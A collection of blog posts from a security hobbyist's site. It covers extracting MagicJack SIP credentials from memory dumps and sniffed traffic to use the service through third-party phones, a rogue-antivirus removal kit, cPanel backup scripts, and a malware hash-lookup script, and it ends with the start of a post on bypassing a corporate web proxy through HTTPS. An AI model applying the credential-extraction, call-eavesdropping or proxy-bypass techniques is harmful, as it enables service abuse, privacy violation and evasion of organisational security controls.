5. WireShark: http://www.wireshark.org/download.html . WireShark is a packet sniffer and will be useful in figuring out what Magic Jack proxy we are using. It is also capable of capturing VoIP calls and compiling them so you can listen to other people’s calls.
6. Notepad ++: http://sourceforge.net/projects/notepad-plus/files/. Notepad ++ is a replacement for Notepad. It keeps the formatting of files, adds line number, and is able to open large files without crashing and many other cool features. This will be needed to open the memory dump files. Though it is possible to use Notepad or Wordpad to do the same on faster computers.
7. Xlite: http://www.counterpath.com/xlite-comparison.html .This is a soft phone that we will for testing our credentials. You can use any soft phone you want or any SIP client you want for testing, such as an iPhone. Though I will use this one for the article. The current 3.0 code of the Xlite application does not require you to sue the MJMD5 proxy as it uses md5 to encrypt your password already.
8. Windows firewall, Antivirus Firewalls, Software Firewalls, and or Hardware firewalls: Make sure these are disabled as this adds to the trouble shooting. Or open up your system to allow all outbound connections and inbound connections (UDP is not stateful) for the testing. If you are worried about your security please Google 1 to 1 NAT or PAT’s and create a policy that way.
9. MJProxy: http://www.digitaloffensive.com/mjproxy.c.tar.gz Linux Magic Jack Proxy. This is like the MJMD5 proxy but for Linux.
10. Trixbox: http://www.trixbox.org/downloads (or any other asterisk system you feel comfortable with). An easy to use asterisk system widely used in the community.

Besides the tools listed above you will need the following:

1. Patience: This is key in doing this. If you think you are going to run a few commands and get the goods you are wrong.
2. 2. Computer Skills: If you do not have basic to intermediate computer skills and the ability to follow directions, just stop now.
3. 3. Linux Skills: If you plan to use this as part of your Asterisk, Trixbox, Free PBX and so on systems.

Setup and Registration of your Magic Jack:

So let’s get started. The first thing you will need to do is put your Magic Jack in the USB and register your Magic Jack. This will walk you through upgrading the Magic Jack firmware, setting up your Magic Jack account, setting up E911 and obtaining a telephone number. Be warned that during the whole process they try to sell you additional services, so be careful where you click. Once you have completed your Magic Jack setup, I would use their soft phone to make a test call to verify everything is working before continuing. This will help eliminate additional troubleshooting steps if there is a problem later on in this article. If you do not have a phone to plug into the Magic Jack, go to “menu” tab and choose headset, this will allow you to use your computer speaker and mic. Once you have done this place a call to someone. I called my cell phone to test, so I would not bother any one while I went through the rest of the setup and tests.

Get SIP Info and Proxy Info

I do not guarantee this will work and doing this may get your account terminated.

Now that we have a working Magic Jack we can start the process of trying to get the SIP info from the Magic Jack. Most of you already know that the Magic Jack stores its SIP info temporarily in memory on initial start up, so for us to get this information we will need to dump the memory and look through the output for the password. To do this we will use the SIPDump.exe that we have downloaded earlier.

Timing is everything on this step and it may need to be repeated several times to get the information you need.

Timing is everything on this step and it may need to be repeated several times to get the information you need.

1.Open the SIPDump.exe and set the dumps to 4. DO NOT HIT OK YET.

Click for a larger image

2. Next start up your Magic Jack software, either unplug it and plug it back in or go the drive and select autorun.exe.

3. When you see it starts to load and see the ad on the left hand side start to show click ok on the SIPDump.exe.

Click for a larger image

4. This will dump the memory into 4 dump files and stop Magic Jack. These dump files will be located in the directory where you ran SIPDump.exe from and be called SIPDump1-4. Each file must be a minimum size of 22,000 KB. If they are not please try again. We have found the password in smaller sized files but for some reason the Magic Jack do not work in the following steps.

Click for a larger image

5. Now open the first SIPDump file and search for the EXACT phrase “SIP.Connection.Refresh” without the quotes. There should be only one instance of this phrase and your password should be located within a few lines above and or below it. Many articles on this say your password will be 20 characters, mine however is 21 characters. I also found mine in the second SIPDump file along with my SIP username which is still the standard E_your_number_01@talk4free.com.

Click for a larger image

6. At this point we have our SIP username and password. We now need to get the proxy address that our Magic Jack is using. It will be in the format of proxy01.xxx.talk4free.com, where the xxx is the city where your proxy is. To do this I used WireShark. Since WireShark is not what this article is about, I will provide you with a high level instruction on how to use it to get what we need. Side note I know there are easier ways to do this but they are not as reliable. I also understand there are other ways to get this info out of WireShark but I am keeping it simple so the end user does not have to go through tons of packet capture to get what they need.

a. Open WireShark. Once it is open click on Capture à Interfaces à Then the interface that is handling your networking and internet. This will also most likely be the only interface that has packets. Once you determine the interface to use choose start.

Click for a larger image

b. Once you start the capture start your Magic Jack and place a call to your test number. This will generate VOIP traffic that WireShark will capture and save. Once your test number answers or you get voicemail, hang up and stop the capture.

c. Now that you have the packets, let’s find the VOIP info. To do this click on Statistics and then on VoIP Calls.

Click for a larger image

d. This will launch another window showing your call info:

Click for a larger image

e. As you can see from the image above we have detected 1 VOIP call. From this screen we can Graph the call details or actually play the call back and listen to the conversation. Though playing the call back is cool is not what we need to continue. Click on “Graph”

Click for a larger image

f. This IP will vary based on where you live. To get the Fully Qualified Domain name (FQDN) we will open a command prompt and type “ping –a <IP from above>”

Click for a larger image

g. We now have all the required SIP information

i. SIP username: Etelephone-number01

ii. Password: L123456789101112133G (not a real password)

iii. Proxy: proxy01.philadelphia.talk4free.com

Testing settings and using other SIP Clients:

Now that we have our SIP info, we want to test it to make sure we gathered all the correct information. To do this we will use the MJMD5 tool. This tool is a proxy server that we will send all our VOIP traffic through. This is needed since Magic Jack alters how the packets are sent by adding a hash to them. This tool will add the hash to the packet then send it.

1. Start MJMD5.exe and fill in the proxy and the password field and press start:

2. Now that the proxy is running, let’s open our Xlite soft phone application and add a new SIP Account. To do this launch the application and right click on the status window –> Choose SIP account settings –> Add. Display Name: Can be anything you want. User Name: Must be your SIP user name. Password: must be the password that we got from the dump. Authorization user name: must be the SIP user name. Domain: is the IP address of the computer you are running the MJMD5 proxy on :5070 (The SIP Port). To get the IP of your machine go to a command prompt and type ipconfig and press enter. Make sure the rest of the settings are checked as you see in the image below. Then hit save and go back to the application.

Click for a larger image

3. The moment of truth: If you have followed all the directions above and got the correct proxy, password and username you should see the following displayed on the Xlite soft phone and you should be able to place a call without the Magic Jack plugged in.

Click for a larger image

4. Testing outbound call

Click for a larger image

5. Testing incoming calls

Click for a larger image

6. Now that we know that the SIP information we gathered is correct, we can use it for countless things.

a. For example you can use a service like http://www.afraid.org to register a sub domain for free that points to your home IP address. On your home firewall you can setup a rule to allow 5070 inbound and create a network address translation. This will allow you to use any wireless device with a SIP client to connect to your home computer running the MJMD5 proxy and make free calls.

b. Or you can setup your own PBX, like Trixbox

Setting up your own PBX using Trixbox

This section requires that you have knowledge of the Linux operating system or are willing to spend the time to learn as you go. If this is you then please continue on.

Before you start you will need a copy of Trixbox installed and ready to go. To obtain an ISO of Trixbox go to http://www.trixbox.org/downloads and download it. Once it is done downloading burn the ISO to CD and install. Trixbox should be installed on a system with a minimum hardware of 40gig hard drive, 512 MB of memory and a network card. This configuration should support a small office or home setup.

During the creation of trunks, routes and extensions if I do not mention a field you are to leave the default value unless you want to play with settings at which point you are on your own for making this work.

Installing MJProxy:

MJProxy is a program written in c to manipulate your SIP traffic into the Magic Jack required format and pass it to and from the Magic Jack servers and your PBX.

1. Login as root to your Tribox system

2. Install the c compiler: yum –y install gcc

3. Download mjproxy source: wget http://www.digitaloffensive.com/mjproxy.c.tar.gz

4. Extract the mjproxy source and libraries: tar –zxvf mjproxy.c.tar.gz

5. Compile the mjproxy source to an executable: gcc -o mjproxy md5.c mjproxy.c

6. Give it rights to run and execute: chmod 777 mjproxy

7. Run the mjproxy: ./mjproxy 0.0.0.0 5070 proxy01.yoursite.talk4free.com 5070 your_password

a. To run multiple Magic Jacks you can either use a virtual IP on your interface or replace the 0.0.0.0 with a dedicated IP. The 0.0.0.0 means to listen on all IP’s. Or you can change the first instance of 5070 to the next highest number i.e. 5071. I would suggest a combination of both as to not to confuse inbound and outbound calls.

b. You can also place this as a service or create a shell script to execute all your Magic Jack proxies.

8. Issue a ps –wuax to make sure the mjproxy process is running

Logging into Trixbox web gui:

1. Login to the web gui http://IP_address of your Trixbox install and click switch in the upper right hand cornor. This will switch you from user mode to maintaince mode. By default the login is maint / password. To change this log into the console with the root account and issue the command passwd-maint and follow the instructions.

2. Once logged in either fill out or ignore the Trixbox registration screen. This is not required but can’t hurt.

3. At this point you can start your configuration.

Update your system:

1. Click on PBX settings

2. On the left hand side click “Module admin”.

3. Click on “Check for updates online”.

4. Click on “Upgrade all”.

5. Click on “Download all”.

6. Then ok, this will start the downloads, the upgrades and will then prompt to reload the system.

Configuring a Trixbox Trunk:

1. Click on “PBX Settings”

2. Click on “Trunks”

3. Choose “Add a SIP Trunk”

4. Leave “General Settings” blank

5. Under “Outgoing Settings” fill out the following

a. Trunk Name: Magic Jack (or anything you want)

b. Peer details:

username=EXXXXXXXXXX01 (your SIP username)

type=friend

secret=LXXXXXXXXXXXXXXX (Your SIP Password)

qualify=2000

port=5070

nat=no

host=XXX.XXX.XXX.XXX (The IP address of your trixbox)

fromuser= EXXXXXXXXXX01 (your SIP username)

dtmfmode=inband

insecure=very

context=from-pstn

6. Under Incoming settings erase everything out of the fields.

7. Under registration fill it in as follows with the information from the Peer Details:

a. SIP username:SIP password@Trixbox IP:5070/Your 10 digit telephone number

b. Ex. EXXXXXXXXXX01: LXXXXXXXXXXXXXXX@xxx.xxx.xxx.xxx:5070/7175555555

8. Click “Submit changes”

9. Click on “Apply changes”

10. Click on “reload”

Click for a larger image

Click for a larger image

Click for a larger image

When you click on the PBX settings button you will see the following if you created the trunk correctly and if it registered:

IP Trunks Online 1

IP Trunk Registrations 1

If this did not work you can use tail –f 10 /var/log/asterisk/full on the command line to view your logs for errors. If you did not test your SIP settings as I outlined above please go back and use xlite to verify they are correct then try rebuilding the trunk again. If you are still having issues I am available for a hourly rate to trouble shoot and correct or you can use Google.

Creating an outbound route:

1. Click on “PBX Settings”

2. Click on “Outbound Routes”

3. Click “Add route”

4. Route Name: Magic-out (Or whatever you want to name it)

5. For Dial Patterns use the wizard and select 7 digits and 10 digits dialing unless you want to setup some special dialing which if you do you are on your own for this article.

6. For “Trunk Sequence” choose the trunk you just created.

7. Click “Submit changes”

8. Click on “Apply changes”

9. Click on “reload

Click for a larger image

Creating an Extension:

1. Click on “PBX Settings”

2. Click on “Extensions”

3. Choose “Generic SIP Device”

4. Under “User Extension” enter an extension in a numeric format i.e. 101.

5. Under “SIP Alias” enter the same number you used for the extension.

6. Under “Secret” enter a min 6 character password the longer and more complex the better.

7. Click “Submit changes”

8. Click on “Apply changes”

9. Click on “reload

This will create a basic extension. Under this setting you can also configure your extensions voicemail and caller ID, but we are keeping this basic for now.

Creating an Incoming route:

1. Click “PBX Settings”

2. Click “Inbound Routes”

3. Click “Add route”

4. Under “Description” enter Magic-in (or other name you want)

5. Under “DID Number” enter your 10 digit Magic Jack number.

6. Under “Set Destination” choose “Extension” and select the extension you just created

7. Click “Submit changes”

8. Click on “Apply changes”

9. Click on “reload”

Once all these steps are completed you can configure your smart phone and test. If you are using xlite as your soft phone use the settings you used in the extension creation for your settings in xlite. Or if you are using a different IP phone such as Cisco follow the manufactures directions to configure it.

Simple Troubleshooting of your Trixbox:

Asterisk stores all of its events in one log fill called full located in /var/log/asterisk/ to view the log in real time you will need to log in to your Trixbox via shell access as root. Once you are logged into the box issue the command tail –f 10 /var/log/asterisk/full . This will scroll the last 10 lines of the log and any new log entries. Common errors that you will find here is incorrect authentication or issues with registration of the trunk. These are the two biggest issues I have run into while configuring Magic Jack to work with Trixbox. If you see any errors in the log you can simply Google them for detailed answers.

Services / Help:

If you bought this document and still cannot get your Magic Jack to work I will provide discounted hourly fees to help you to get yours working. I charge 100 dollars a day, with a 1 day minimum. I require you to ship your Magic Jack or Magic Jacks to me with a tracking number and provide return shipping with tracking as well. Your best bet is to send me the sealed Magic Jacks with the email address you want associated to them as well as the area code you want and let me do them from scratch.

If you want me to configure Trixbox system to use your Magic Jacks I will also require remote access to your machines as well as the usernames and passwords to your system. The fee for Trixbox configuration is an additional 30.00 dollars per day.

As mention above I will give a discount of 25.00 per day to anyone that bought this document and could not get this working based on information I provided and not due error or lack of ability on their side. I will review everything before accepting work and I do not guarantee anything.

Vista 2010 is a rogue anti-virus program that is usually advertised through the use of pop ups and fake security alerts that state that your computer is infected and that you should run an online anti-malware scan. Once the rogue program is installed, it will claim to scan your computer for malware and display a list of false threats just to confirm that your computer is infected with malware (usually Trojans and computer worms). Then it will ask you to pay for a full version of the program in order to remove the threats which as we already know don’t even exist. Most importantly, don’t buy it. If you did, then please contact your credit card company and dispute the charges.

Though this piece of malicious code is extremely annoying it is also very easy to remove. I have put a kit together for quick download to remediate this issue. The kit includes a custom batch file called avkill that will loop looking for the process av.exe and kill it automatically. This will allow you to execute other tools to remove the virus. It also includes a registry fix to remove the changes it makes to the registry. The file is called fix.reg and contains the following information:

Windows Registry Editor Version 5.00

[-HKEY_CURRENT_USER\Software\Classes\.exe]

[-HKEY_CURRENT_USER\Software\Classes\secfile]

[-HKEY_CLASSES_ROOT\secfile]

[-HKEY_CLASSES_ROOT\.exe\shell\open\command]

[HKEY_CLASSES_ROOT\.exe]

@=”exefile”

“Content Type”=”application/x-msdownload”

To download the kit go to http://www.digitaloffensive.com/files/av2010.zip

The first thing you need to do is to extract the kit and open the avkill executable. This will stop the av.exe process that is associated with this virus. Once that is running just minimize it and let it continue to run. Then either use regedit or just double click the fix.reg file to remove the virus from your registry and to stop it from restarting. Once this is done successfully you can now stop the avkill executable. This process will stop the virus from running. Once it is stopped we suggest you go to http://www.malwarebytes.org/ and download their free scanner to remove the actual malicious files from your system.

If you have any questions or concerns please feel free to contact me.

Years ago I did web hosting as a side source of income. This led to me developing  a lot of Linux based scripts to help automate my daily sysadmin responsibilities. Our hosting company was  called ezhostingpro.com. Since then another party owns the domain but googling that and my name will lead you to several of my scripts being hosted by other sites. I posting the code on my site as I am finding many people on http://www.getafreelancer.com using codes I post on this site to bid on projects and win them.

This script is in two parts. The first part creates the backup and the second part transfers the backup remotely. The first part of the script makes use of the built in backup commands in cpanel. The script needs minor changes to be used by resellers instead of dedicated server owners.

Script 1:

#!/bin/bash

############################################
## ##
## EZHOSTINGPRO BACKUP FTP SCRIPT v1.0 ##
## Created by Michael LaSalvia ##
## http://www.digitaloffensive.com ##
## 2/23/04 rev 1 ##
############################################
## 1. Create a file called cpbackup.txt in /root
## 2. Place account names you wanted backup
## 3. Save file in /root
############ DO NOT EDIT BELOW #############
cd /root
for users in $(cat cpbackup.txt)
do
rm -rf /home/$users/cpmove-$users.tar.gz
/scripts/pkgacct $users
mv /home/cpmove-$users.tar.gz /home/$users/
cd /home/$users
chown $users.$users cpmove-$users.tar.gz
chmod 777 cpmove-$users.tar.gz
/home/$users/bkftp.sh
cd /root
done

Script 2: This script needs to beedited with the users ftp credentials and placed in the user home dir.

#!/bin/bash

##################################
## EZHOSTINGPRO REMOTE BACKUP ##
## created by: Michael LaSalvia ##
##http://www.digitaloffensive.com##
## DO NOT EDIT THIS FILE ##
## Name this file bkftp.sh chmod 777 ##
##################################

### VARIABLES ###

var_cpaneluser=’cpanel_user_goes_here’
var_remote=’remote_server_goes_here’
var_ftpuser=’remote_server_ftp_username_goes_here’
var_ftppass=’remote_server_ftp_password_goes_here’

cd /home/$var_cpaneluser
ftp -n $var_remote <<END_SCRIPT
quote USER $var_ftpuser
quote PASS $var_ftppass
del cpmove-$var_cpaneluser.tar.gz
put cpmove-$var_cpaneluser.tar.gz
quit
END_SCRIPT
exit 0
rm -Rf cpmove-$var_cpaneluser.tar.gz

I believe the newer cpanel system actually provides a built in method to do this, though since I do not have access to one to test I will post this any way. If you have any questions comments or concerns please feel free to contact me.

The initial interest for this research came to me after reading an article on this on the site http://enclavesecurity.com/ . In the article they talk about using the malicious hashes to discover malware and other malicious files on their systems. They also take a deeper look into the recent APT and Auroa attacks on Google. Though the thing I found most interesting is trying to develop a way to automate this process for free and provide usable information.

The biggest thing to understand before continuing on is that this is not a fool proof process as a simple change of the file will change the hash of the file. For example if you have the c99.php shell and change the password or add a white space to the php this will change the hash of the file hence making detection via this method impossible. The other issue I have noticed in using this methodology is no one is willing to share all the information. Many companies will only share bits and pieces such as “The Malware Hash Registry” (http://www.team-cymru.org) considered the leading authority on this topic. They make part of their service available online to submit hashes to and get back the following information:

Ex:1: 7697561ccbbdd1661c25c86762117613 1258054790 NO_DATA

Ex:2: cbed16069043a0bf3c92fff9a99cccdc 1231802137 69

In example 1 you see the md5 hash then the epoch date and time then NO_Data meaning it could not tell if this hash is malicious.  In example 2 you see the same except instead of NO_data you see 69. This number means that 69% of the Antivirus vendors they used to check this file with found it to be malicious. This info is good but I find it to be not very helpful. It is nice to know that it was detected as malicious but is it truly malicious and if it is what type of malicious file is it, is it a backdoor, key logger or so on. I have emailed them asking if they could provide the detection type; with understanding that most of their system is private as they will not disclose the database or the vendors they use to scan the files. Though I have not heard back from them at this point.

This led me to searching the internet for other sites like this that provided additional information along with the hash. In this search I found one other site called http://malwarehash.com a sub site of the company NoVirusThanks.org. They provide an online utility to submit your hash to and if it is discovered as malicious it will give you info back. See screen shot below:

As you can see they provide an additional layer over what you get from the Malware Hash Registry. On top of that they use a simple PHP script for the query that makes scripting this so much easier:

http://www.malwarehash.com/result.php?hash=1E71DE2D6A89AA9796344BB7FA23AC7E

As you can see in the URL you have the site the script and the hash. The only issue with this site is that it seems they have not updated their database since 6/2009. I have contacted them as well to ask them about this and to see what their plans are for the site though I have not heard back from them either.

With this information in hand I set forth to develop a script that would allow me to automate this process as we have found this methodology to be helpful at work even if it is not 100% accurate as we notice that most malware will not get detected by our Anti virus so by using the hashes and relying on the internet community we are able to help our detection and remediation of malicious files.

To use this script you will need to have a Linux user account and some basic knowledge of Linux to set the variables properly. I wrote the script in bash for two reasons 1 it is a piece of cake to do and 2 so you be forced to move the malicious file off a windows environment where you stand a higher chance of infecting your self.  First access your shell and create a directory called what ever you want but in the code we used a directory called infect that is set in a variable for easy changing. Once you do that copy the malware-hash.sh script to 1 directory above the folder you just created. Then copy the sed script file to a file called clean in the directory that you created. Once you have done this chmod the malware-hash.sh script so you can execute it and chmod the clean script so the malware-hash.sh script can read it. Once done all you have to do now is copy the suspicious files to the directory you created and execute the script. The script will get a listing of all the files in that folder, remove the clean script, and any dupes from the listing and then get the md5 hash of each file. Once it gets the hashes it will create a batch file to be processed against The Malware Hash Registry and save the results in a clean human readable format. We use the batch function to stay with in the TOS of the site.  This includes adding the file names in front of the hash so you know what the hash belongs to. Next it will take the hashes and run them through the site Malwarehash.com. We use the –random-wait command with wget here to not act like a bot or script. If it gets a hit for a infection we will grab the site and scrape out the data we want then process it into a human readable report. Once all done we will combine the results of both checks and email the final results to the email address provided.

The script is written in bash and is highly documented:

The script is broken down into 2 sections the actual script and the sed script file.

Part 1 the Script: Copy this script to a file with a .sh extension or download it here http://www.digitaloffensive.com/malware-hash.sh . I suggest downloading it as the word press system will definitely destroy the formatting of the code. Place this script 1 directory up from the directory that you are using for the infected files.

#!/bin/bash
################################################
## MALWARE HASH BASH                           ##
## Written by Michael LaSalvia                  ##
## http://www.digitaloffensive.com              ##
## Inspired by an article at enclave Security ##
################################################

#Variables and clean up
#Edit in Path to dir that contains file for analysis
inPath=/home/mike/virus/infect

#Path to your md5sum app to verify it is not compromised. I got the hash from a new install on fedora 12.
wmd5sum=/usr/bin/md5sum

md5sum /usr/bin/md5sum > .tmp
mverify=`cut -f 1 -d ‘ ‘ .tmp`
if [$mverify == 019329f334fa7ef6116ad1a24271c8da ] then
echo “Your md5 hash matches”
else
echo ” Your md5sum hash is not right, Please verify it before continuing. Press CTRL+C now to exit”
fi
rm -Rf .tmp
# I strongly urge you to make sure your md5 application is not compromised or the rest of this script is useless.
Sleep 20

#Get a list of file to analyze and get their hash
ls $inPath > files.txt
for vfiles in $(cat files.txt)
do
cd $inPath
md5sum $vfiles >> hashes
sort hashes | uniq > $inPath/hashes.txt
done
#Clean up my files
cat $inPath/hashes.txt | grep -v hashes >> .tmp; mv .tmp $inPath/hashes.txt
cat $inPath/hashes.txt | grep -v md5 >> .tmp; mv .tmp $inPath/hashes.txt
cat $inPath/hashes.txt | grep -v clean >> .tmp; mv .tmp $inPath/hashes.txt

#Format file to submit to http://www.team-cymru.org as a batch
cut -f 1 -d ‘ ‘ $inPath/hashes.txt >> $inPath/md5hash.txt
cut -f 3 -d ‘ ‘ $inPath/hashes.txt >> $inPath/md5name.txt
echo “begin”| cat – $inPath/md5hash.txt > .tmp && mv .tmp $inPath/md5hash.txt
echo end >> $inPath/md5hash.txt
rm -Rf $inPath/hashes.txt

#Send batch request o the Malware Hash Registry (I Love netcat)
nc hash.cymru.com 43 < $inPath/md5hash.txt > $inPath/md5results.txt

#Clean up response and format it
cat $inPath/md5results.txt | grep -v “#” >> .bk; mv .bk $inPath/md5results.txt
paste $inPath/md5name.txt $inPath/md5results.txt > $inPath/results.txt
#cat $inPath/results.txt
cat $inPath/md5hash.txt | grep -v “begin” >> .tmp; mv .tmp $inPath/md5hash.txt
cat $inPath/md5hash.txt | grep -v “end” >> .tmp; mv .tmp $inPath/md5hash.txt

#Dirty web scraper and formating (site may be out of date)
for whashes in $(cat $inPath/md5hash.txt)
do
wget –random-wait http://www.malwarehash.com/result.php?hash=$whashes -O $whashes
if grep “INFECTED” $whashes > /dev/null; then
cat $whashes | grep -m 1 a-squared >> $inPath/.tmp
cat $whashes | grep -m 1 “Avira AntiVir” >> $inPath/.tmp
cat $whashes | grep -m 1 “Avast<” >> $inPath/.tmp
cat $whashes | grep -m 1 AVG >> $inPath/.tmp
cat $whashes | grep -m 1 BitDefender >> $inPath/.tmp
cat $whashes | grep -m 1 ClamAV >> $inPath/.tmp
cat $whashes | grep -m 1 Comodo >> $inPath/.tmp
cat $whashes | grep -m 1 “Dr.Web” >> $inPath/.tmp
cat $whashes | grep -m 1 Ewido >> $inPath/.tmp
cat $whashes | grep -m 1 F-PROT >> $inPath/.tmp
cat $whashes | grep -m 1 “G DATA” >> $inPath/.tmp
cat $whashes | grep -m 1 IkarusT3 >> $inPath/.tmp
cat $whashes | grep -m 1 Kaspersky >> $inPath/.tmp
cat $whashes | grep -m 1 McAfee >> $inPath/.tmp
cat $whashes | grep -m 1 “Malware Hash Registry” >> $inPath/.tmp
cat $whashes | grep -m 1 NOD32 >> $inPath/.tmp
cat $whashes | grep -m 1 Norman >> $inPath/.tmp
cat $whashes | grep -m 1 Panda >> $inPath/.tmp
cat $whashes | grep -m 1 “QuickHeal” >> $inPath/.tmp
cat $whashes | grep -m 1 “Solo Antivirus” >> $inPath/.tmp
cat $whashes | grep -m 1 Sophos >> $inPath/.tmp
cat $whashes | grep -m 1 TrendMicro >> $inPath/.tmp
cat $whashes | grep -m 1 VBA32 >> $inPath/.tmp
cat $whashes | grep -m 1 “VirusBuster” >> $inPath/.tmp
#More Cleaning and report creation.
sed -f $inPath/clean $inPath/.tmp > $inPath/.tmp1; mv $inPath/.tmp1 $inPath/$whashes
rm -Rf .tmp .tmp1
echo “Results from MalwareHash.com” >> $inPath/final_report.txt
echo ” ——————————————————” >> $inPath/final_report.txt
echo “$whashes : ” >> $inPath/final_report.txt
echo ” ——————————————————” >> $inPath/final_report.txt
cat $inPath/$whashes >> $inPath/final_report.txt
echo ” ——————————————————” >> $inPath/final_report.txt
else
echo “Results from MalwareHash.com” >> $inPath/final_report.txt
echo “NO RESULTS FOUND for: $whashes” >> $inPath/final_report.txt
echo ” ——————————————————” >> $inPath/final_report.txt
fi
rm -Rf $inPath/$whashes
rm -Rf $inPath/md5*
rm -Rf $inPath/hashes
done
cat $inPath/results.txt | cat – $inPath/final_report.txt > .tmp && mv .tmp $inPath/final_report.txt
echo “Results from The Malware Hash Registry” | cat – $inPath/final_report.txt > .tmp && mv .tmp $inPath/final_report.txt
mail -s”Malware” me@me.com < final_report.txt

Part 2 the sed script:

Copy this code and put it in a file called clean located in the folder that has the files you want to analyze and chmod it so the script can read it.

s/<tr><th>/AV Name:/
s/<tr><th width=”150″>/AV Name:/
s/<\/th><td width=”83″>/ Sig Version:/
s/<\/td><td width=”100″>/ Engine Version:/
s/<\/td><td width=”116″>/ Engine Version:/
s/<\/th> <td width=”83″>/ Sig Version:/
s/<\/td> <td width=”116″>/ Engine Version:/
s/<\/t<td width=”213″><font color=”#336600″ size=”3″>-/ Virus Name: Nothing Found/
s/<\/t<td width=”213″><font color=”#336600″ size=”3″>-/ Virus Name: Nothing Found/
s/<\/td><td width=”213″> <font color=”#336600″ size=”3″>-/ Virus Name: Nothing Found/
s/<\/td><td width=”213″> <font color=”#CC0000″ size=”2″>/ Virus Name: /
s/<\/td><td width=”213″><font color=”#CC0000″ size=”2″>/ Virus Name: /
s/<\/td><td width=”190″> <font color=”#CC0000″ size=”2″>/ Virus Name: /
s/<\/td> <td width=”213″> <font color=”#336600″ size=”3″>-/ Virus Name: Nothing Found/
s/<\/td> <td width=”213″> <font color=”#CC0000″ size=”2″>/ Virus Name: /
s/<\/font><\/td><//
s/\/tr>//
s/<\/font><\/t//
s/<\/font> <//
s/<\/font><\/td> <\/tr//
s/> <\/tr//
s/d>//

Though this methodology is a few years old there is many things that can be done with this. For example we are in the process of writing a tripwire type script that will allow web masters to monitor changes to their sites and to be able to quickly see what was added or modified as well as run it though the process above to search for infections / compromise

As always if you have any questions, comments or concerns please feel free to contact me.

Several months ago an organization I work for implemented BlueCoat Web Proxy but they did not purchase a SSL offload card (required for organizations of our size as a license alone would bog down the rest of the box) or a SSL License. This basically limited the ability for us to filter anything on port 443 unless we knew the IP to set in policy to block since the page was encrypted and we could not decrypt the packet to apply policy.

This limitation creates a security concern because it allows users to use secure protocols to bypass policies. For example most likely your organization has a policy that blocks you from going to internet based email such as Gmail, Yahoo and so on. Well thanks to Gmail for worrying about its user’s security and privacy we can now bypass the BlueCoat Web Proxy. If we go to https://mail.google.com the BlueCoat Web proxy will not see that as a mail site as the URL will be translated to an IP and the packets are encrypted. The other benefit of Gmail is that it will not redirect you to any http it makes sur